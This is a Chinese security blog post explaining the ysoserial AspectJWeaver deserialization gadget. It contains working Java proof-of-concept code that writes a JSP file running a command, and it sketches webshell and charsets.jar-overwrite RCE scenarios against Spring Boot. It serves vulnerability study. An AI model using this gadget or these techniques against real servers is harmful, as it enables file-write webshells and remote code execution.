AspectJWeaver文件写入gadget详解和两种应用场景举例
0 前言
ysoserial反序列化系列学习记录之一,最近看到利用AspectJWeaver这个gadget实现webshell写入的渗透记录帖子,而这个gadget用到的Commons-Collections版本为3.2.2,高版本的CC更具实用性。除了详细解析gadget之外,还考虑了两种实际攻击场景的应用。
1 环境
jdk1.8u40
Commons-Collections:3.2.2
aspectjweaver:1.9.2
aspectjweaver这个包是Spring AOP所需要的依赖,用于实现AOP做切入点表达式、aop相关注解
pom.xml依赖如下:
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.2</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>
实验代码如下:
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class aspectjweaver {
/*
commons-collections:3.2.2
aspectjweaver:1.9.2 spring AOP做切入点表达式、aop相关注解时需要
*/
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
String fileName = "test.jsp";
String tmp = "<%java.lang.Runtime.getRuntime().exec(\"calc\");%>\n";
byte[] exp = tmp.getBytes(StandardCharsets.UTF_8);
// 创建StoreableCachingMap对象
Constructor<?> constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
Object map = constructor.newInstance(".", 12);
// 把保存了文件内容的对象exp放到ConstantTransformer中,后面调用ConstantTransformer#transform(xx)时,返回exp对象
ConstantTransformer constantTransformer = new ConstantTransformer(exp);
// 用LazyMap和TiedMapEntry包装Transformer类,以便于将触发点扩展到hashCode、toString、equals等方法
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);
// 反序列化漏洞的启动点: HashSet
HashSet hashSet = new HashSet(1);
// 随便设置一个值,后面反射修改为tiedMapEntry,直接add(tiedMapEntry)会在序列化时本地触发payload
hashSet.add("fff");
// 获取HashSet中的HashMap对象
Field field;
try {
field = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e){
field = HashSet.class.getDeclaredField("backingMap"); // jdk
}
field.setAccessible(true);
HashMap innerMap = (HashMap) field.get(hashSet);
// 获取HashMap中的table对象
Field field1;
try{
field1 = HashMap.class.getDeclaredField("table");
}catch (NoSuchFieldException e){
field1 = HashMap.class.getDeclaredField("elementData");
}
field1.setAccessible(true);
Object[] array = (Object[]) field1.get(innerMap);
// 从table对象中获取索引0 或 1的对象,该对象为HashMap$Node类
Object node = array[0];
if(node==null){
node = array[1];
}
// 从HashMap$Node类中获取key这个field,并修改为tiedMapEntry
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
}catch (NoSuchFieldException e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, tiedMapEntry);
// 序列化和反序列化测试
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
objectOutputStream.writeObject(hashSet);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("serialize.ser"));
objectInputStream.readObject();
}
}
执行成功后会在运行路径下写个test.jsp,下面来看看这个gadget具体是怎么触发的

2 gadget解析
2.1 高版本Commons-Collections的防御措施
在3.1或者4.0版本的Commons-Collections利用链中,最底层都要调用到InvokerTransformer类,高版本的修复方式就是在这个类的readObject和writeObject中加入安全警告,如下:

由于反序列化时,会自动调用类的readObject方法,所以当字节码传递到服务器短时,一运行InvokerTransformer#readObject方法就会触发警告,停止反序列化,必须服务器端手动开启允许反序列化的设置。
2.2 获取AspectJWeaver的调用链
这个gadget最终要写一个文件,根据Windows的文件名要求,我们写入"test.?jsp"时会出问题,如此即可获得调用链。获得调用链如下:

如果研究过低版本下Commons-Collections的HashSet调用链,肯定就会非常熟悉readObject后面这一部分。首先HashSet#readObject方法会触发map.put(e, PRESENT)
- HashSet#readObject
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// 省略了不重要的部分
// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT); // 触发点
}
}
此时有个很关键的问题在于这个对象e到底是啥?回到我们的代码利用反射修改值的部分
// 用LazyMap和TiedMapEntry包装Transformer类,以便于将触发点扩展到hashCode、toString、equals等方法
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);
// 反序列化漏洞的启动点: HashSet
HashSet hashSet = new HashSet(1);
// 随便设置一个值,后面反射修改为tiedMapEntry,直接add(tiedMapEntry)会在序列化时本地触发payload
hashSet.add("fff");
// 获取HashSet中的HashMap对象
Field field;
try {
field = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e){
field = HashSet.class.getDeclaredField("backingMap"); // jdk
}
field.setAccessible(true);
HashMap innerMap = (HashMap) field.get(hashSet);
// 获取HashMap中的table对象
Field field1;
try{
field1 = HashMap.class.getDeclaredField("table");
}catch (NoSuchFieldException e){
field1 = HashMap.class.getDeclaredField("elementData");
}
field1.setAccessible(true);
Object[] array = (Object[]) field1.get(innerMap);
// 从table对象中获取索引0 或 1的对象,该对象为HashMap$Node类
Object node = array[0];
if(node==null){
node = array[1];
}
// 从HashMap$Node类中获取key这个field,并修改为tiedMapEntry
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
}catch (NoSuchFieldException e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, tiedMapEntry);
首先是lazyMap和TiedMapEntry后面再详细解析,后面部分的代码则是将"fff"替换成tiedMapEntry对象,这时需要从源码中看看HashSet如何存储值的:
- HashSet中的所有对象都保存在内部HashMap的key中,以保证唯一性

- HashMap的每个key->value键值对保存在一个命名为table的Node类数组中,每次调用HashMap#get方法时,实际时从这个数组中获取值

- 跟进看看HashMap$Node类

到这里也就很清楚了,只需要通过反射获取HashSet内部的HashMap对象,在修改HashMap$Node类中的key属性为tiedMapEntry即可,回看一下代码应该很容易理解。
2.3 gadget详解
前面已经说到,HashSet#readObject方法会调用HashMap#put方法,
- HashSet#readObject()
public class HashSet<E> extends AbstractSet<E> implements Set<E>, Cloneable, java.io.Serializable
{
private static final Object PRESENT = new Object();
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// 省略了不重要的部分
// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT); // 触发点,PRESENT=new Object(); 源代码中可见,就不截图了
}
}
}
由于HashSet只有一个值,所以相当于执行了HashMap.put(tiedMapEntry, new Object()),跟着这个基础,继续往下看
- HashMap#put(tiedMapEntry, new Object())
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
此时key=tiedMapEntry,value=object (将new Object()简写为object,这个值不影响啥),明显会先执行HashMap#hash(tiedMapEntry),跟进一下
- HashMap#hash(tiedMapEntry)
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
此时key=tiedMapEntry,代码中明显会先调用key.hashCode()方法,也就是执行了tiedMapEntry.hashCode(),此时继续跟进
- TiedMapEntry#hashCode()
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
这里会先调用TiedMapEntry#getValue()方法,需要跟进一下
- TiedMapEntry#getValue()

此时map和key分别是啥呢?这就要回看一下我们的代码和TiedMapEntry的构造方法了!
- TiedMapEntry的构造方法
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
- payload中的相应代码
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);
也就是说,上面的图片中,map=lazyMap,key=filename,所以直接跟进LazyMap#get(filename)和LazyMap.decorate()方法
- LazyMap.decorate(Map, Transformer)和对应的构造方法
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
// 构造方法
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
- LazyMap#get(filename)
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
此时会看我们的代码关于lazyMap的部分
String fileName = "test.jsp";
String tmp = "<%java.lang.Runtime.getRuntime().exec(\"calc\");%>\n";
byte[] exp = tmp.getBytes(StandardCharsets.UTF_8);
// 创建StoreableCachingMap对象
Constructor<?> constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
Object map = constructor.newInstance(".", 12);
// 把保存了文件内容的对象exp放到ConstantTransformer中,后面调用ConstantTransformer#transform(xx)时,返回exp对象
ConstantTransformer constantTransformer = new ConstantTransformer(exp);
// 用LazyMap和TiedMapEntry包装Transformer类,以便于将触发点扩展到hashCode、toString、equals等方法
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
也就是说,lazyMap.map=StoreableCachingMap,lazyMap.factory=ConstantTransformer,将这些信息带入到LazyMap.get(filename),
- 由于map.containsKey(filename)=false,所以进入if代码块。
- 此时调用lazyMap.factory.transform(filename),也就是ConstantTransformer.transform(filename),跟进一下该方法
// 构造方法,使得iConstant=exp
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
// transform方法,返回iConstant,也就是exp
public Object transform(Object input) {
return iConstant;
}
执行完后,回到LazyMap.get(filename)中,此时value=exp,执行map.put(filename, exp),实际上执行StoreableCachingMap.put(filename, exp),继续跟进
- StoreableCachingMap.put(filename, exp)
private static final String SAME_BYTES_STRING = "IDEM";
private static final byte[] SAME_BYTES = SAME_BYTES_STRING.getBytes();
public Object put(Object key, Object value) {
try {
String path = null;
byte[] valueBytes = (byte[]) value;
if (Arrays.equals(valueBytes, SAME_BYTES)) { // SAME_BYTES = "IDEM".getBytes();
path = SAME_BYTES_STRING;
} else {
path = writeToPath((String) key, valueBytes);
}
Object result = super.put(key, path);
storeMap();
return result;
} catch (IOException e) {
trace.error("Error inserting in cache: key:"+key.toString() + "; value:"+value.toString(), e);
Dump.dumpWithException(e);
}
return null;
}
这里key=filename,value=exp,带入代码中,更改变量名valueBytes=exp数组,然后进入if判断语句,显然"IDEM"和我们的exp不相等,进入else代码块,跟进writeToPath((String) key, valueBytes)
- StoreableCachingMap#writeToPath((String) key, valueBytes)
private String writeToPath(String key, byte[] bytes) throws IOException {
String fullPath = folder + File.separator + key;
FileOutputStream fos = new FileOutputStream(fullPath);
fos.write(bytes);
fos.flush();
fos.close();
return fullPath;
}
此时key=filename,bytes=恶意代码byte数组,代码比较简单,就是单纯的写文件,因为没有catch语句,所以2.2中获取调用链时给filename="test.?jsp"会触发报错,从而给出调用链。
到这里整个gadget就解析完了,主要是避开了InvokerTransformer#readObject时的安全检查,并利用lazyMap.get()方法去调用写文件的类,从而达到文件写入的能力。最后再结合ysoserial中给出的调用链回顾一下整个调用链
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
3 两种应用场景
3.1 直接写入jsp
如果目标Web应用可以写入jsp,并且能够解析,那直接写jsp Webshell即可,比较直接,就不多说了
3.2 SpringBoot采用jar包部署的情况
现在很多应用都采用了SpringBoot打包成一个jar或者war包放到服务器上部署,就算我们能够写文件,也不会被内嵌的中间件解析,这个时候应该怎么办呢?
LandGrey大佬给出了解决办法:Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索
向服务器的jdk目录下写入jar包,由于jvm的类加载机制,并不会一次性把所有jdk中的jar包都进行加载,所以可以先写入/jre/lib/charsets.jar进行覆盖,然后给request header中加入特殊头部,此时由于给定了字符编码,会让jvm去加载charset.jar,从而触发恶意代码。恶意头部可以如下:
Accept: text/plain, */*; q=0.01
Accept: text/html;charset=GBK
...
具体细节请见大佬的博客和github仓库。
参考
Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java
AspectJWeaver文件写入gadget详解和两种应用场景举例的更多相关文章
- java解析json字符串详解(两种方法)
一.使用JSONObject来解析JSON数据官方提供的,所以不需要导入第三方jar包:直接上代码,如下 private void parseJSONWithJSONObject(String Jso ...
- Ansible_常用文件模块使用详解
一.Ansibel常用文件模块使用详解 1.file模块 1️⃣:file模块常用的参数列表: path 被管理文件的路径 state状态常用参数: absent 删除 ...
- Multipart/form-data POST文件上传详解
Multipart/form-data POST文件上传详解 理论 简单的HTTP POST 大家通过HTTP向服务器发送POST请求提交数据,都是通过form表单提交的,代码如下: <form ...
- Linux "ls -l"文件列表权限详解
ls Linux "ls -l"文件列表权限详解 1.使用 ls -l 命令 执行结果如下(/var/log) : drwxr-x--- root adm -- : apache2 ...
- C#文件后缀名详解
C#文件后缀名详解 .sln:解决方案文件,为解决方案资源管理器提供显示管理文件的图形接口所需的信息. .csproj:项目文件,创建应用程序所需的引用.数据连接.文件夹和文件的信息. .aspx:W ...
- Multipart/form-data POST文件上传详解(转)
Multipart/form-data POST文件上传详解 理论 简单的HTTP POST 大家通过HTTP向服务器发送POST请求提交数据,都是通过form表单提交的,代码如下: <form ...
- iOS回顾笔记(03) -- 自定义View的封装和xib文件的使用详解
iOS回顾笔记(03) -- 自定义View的封装和xib文件的使用详解 iOS开发中,我们常常将一块View封装起来,以便于统一管理内部的子控件.如iOS回顾笔记(02)中的"书" ...
- WAL日志文件名称格式详解
转自:http://blog.osdba.net/534.html WAL日志文件名称格式详解 PostgreSQL的WAL日志文件在pg_xlog目录下,一般情况下,每个文件为16M大小: osdb ...
- 8.var目录下的文件和目录详解
1./var目录下的文件和目录详解. /var (该目录存放的是不断扩充且经常修改的目录,包括各种日志文件或者pid文件,存放linux的启动日志和正在运行的程序目录(变化的目录:一般是日志文件,ca ...
随机推荐
- TCP 才不傻!
大家好,我是小林. 之前收到个读者的问题,对于 TCP 三次握手和四次挥手的一些疑问: 第一次握手,如果客户端发送的SYN一直都传不到被服务器,那么客户端是一直重发SYN到永久吗?客户端停止重发SYN ...
- Vue实现点击按钮进行文件下载(后端Java)
最近项目中需要实现点击按钮下载文件的需求,前端用的vue,因为文件是各种类型的,比如图片.pdf.word之类的.这里后端是可以返回文件的地址给前端的,但我看了下网上各种五花八门的答案,感觉都不是我想 ...
- [TensorFow2.0]-MNIST手写数字识别
本人人工智能初学者,现在在学习TensorFlow2.0,对一些学习内容做一下笔记.笔记中,有些内容理解可能较为肤浅.有偏差等,各位在阅读时如有发现问题,请评论或者邮箱(右侧边栏有邮箱地址)提醒. 若 ...
- Numpy数组的组合与分割详解
在介绍数组的组合和分割前,我们需要先了解数组的维(ndim)和轴(axis)概念. 如果数组的元素是数组,即数组嵌套数组,我们就称其为多维数组.几层嵌套就称几维.比如形状为(a,b)的二维数组就可以看 ...
- 代码中如何优化过多的if..else
针对代码中,过多的 if ... else ..,如何优化减少if else呢?(非常重要的优化技巧) 缺点:过多的if else 导致阅读不方便,逻辑过于复杂,代码多长. 解决方法:可以采用多个方 ...
- spring security整体流程
spring-security原理 图片中各个类的作用: 1JwtUser类:实现Springsecurity的UserDetails类,此类必须有三个属性 private String userna ...
- Maven在IDEA中的日常使用
1.为什么使用MavenMaven是我们在开发过程中常用的工具,主要用途有两种:1)方便的下载jar包2)项目打包接下来以windows操作系统为例,介绍一下Maven在IDEA中如何设置和常用的功能 ...
- Centos7上安装rabbitmq和使用
github rpm地址: https://github.com/rabbitmq/erlang-rpm 要安装rabbitmq先安装它的语言 创建erlang repo /etc/yum.repos ...
- WPF中实现动画的几种效果(最基础方式)
参考网址:https://blog.csdn.net/qq_45096273/article/details/106256397 在动画之前我们先了解一下几个声明式动画中常用的元素: 一.Storyb ...
- .net core2.1 迁移.net core 3.1
1.解决方案->属性-->目标框架 .net core3.1 2.删除旧的Nuget包添加新的NuGet包 3.修改Startup.cs 修改ConfigureServices 修改Con ...